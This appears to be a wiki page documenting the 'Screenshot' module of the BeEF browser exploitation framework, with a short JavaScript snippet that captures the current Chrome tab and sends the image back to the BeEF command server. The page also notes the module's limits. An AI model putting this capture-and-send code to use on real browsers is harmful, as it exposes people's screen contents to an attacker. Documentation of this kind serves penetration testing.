Skip to content

Module: Screenshot

Haoxi Tan edited this page Jan 7, 2020 · 2 revisions

Summary

  • Objective: Take a screenshot of the current tab

  • Authors: mh

  • Browsers: Chrome

  • Code

Internal Working

This module tries to take a screenshot of the current tab and returns it to the as base64 data. Only works if the chrome.tabs.captureVisibleTab method is available.

As of 2019, it does not work in the newer versions of Chrome. This method only works within the context of an extension having the <all_urls> permission.

chrome.tabs.captureVisibleTab(null, function(img) {
    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'img: ' + img.toString());
});

References

https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/Tabs/captureVisibleTab

Feedback

Clone this wiki locally